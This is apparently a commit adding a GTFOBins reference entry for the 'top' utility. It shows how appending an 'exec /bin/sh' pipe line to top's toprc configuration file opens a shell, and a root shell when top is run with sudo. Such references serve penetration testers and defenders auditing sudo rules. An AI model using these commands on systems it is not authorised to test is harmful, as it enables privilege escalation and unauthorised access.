Add shell and sudo for top

This closes #81.

Thanks to Chris McCoy (https://github.com/chris-mccoy) for the idea.

_gtfobins/top.md

@@ -0,0 +1,16 @@
+---
+description: This requires that an existing configuration file is present, to create one run `top` then type `Wq`. Note down the actual configuration file path and use it in the below examples.
+functions:
+  shell:
+    - code: |
+        echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc
+        top
+        # press return twice
+        reset
+  sudo:
+    - code: |
+        echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc
+        sudo top
+        # press return twice
+        reset
+---